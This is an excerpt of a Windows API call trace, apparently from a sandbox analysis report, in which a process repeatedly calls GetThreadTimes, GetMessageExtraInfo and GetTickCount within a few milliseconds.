GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.472] GetMessageExtraInfo () returned 0x0 [0050.472] GetTickCount () returned 0x1b49e [0050.472] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.473] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.473] GetMessageExtraInfo () returned 0x0 [0050.473] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.474] GetMessageExtraInfo () returned 0x0 [0050.474] GetTickCount () returned 0x1b49e [0050.474] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.475] GetMessageExtraInfo () returned 0x0 [0050.475] GetTickCount () returned 0x1b49e [0050.475] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.476] GetMessageExtraInfo () returned 0x0 [0050.476] GetTickCount () returned 0x1b49e [0050.476] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.477] GetMessageExtraInfo () returned 0x0 [0050.477] GetTickCount () returned 0x1b49e [0050.477] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.478] GetTickCount () returned 0x1b49e [0050.478] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.478] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] GetMessageExtraInfo () returned 0x0 [0050.479] GetTickCount () returned 0x1b49e [0050.479] GetThreadTimes (in: hThread=0x0, lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620 | out: lpCreationTime=0x18e638, lpExitTime=0x18e630, lpKernelTime=0x18e628, lpUserTime=0x18e620) returned 0 [0050.479] 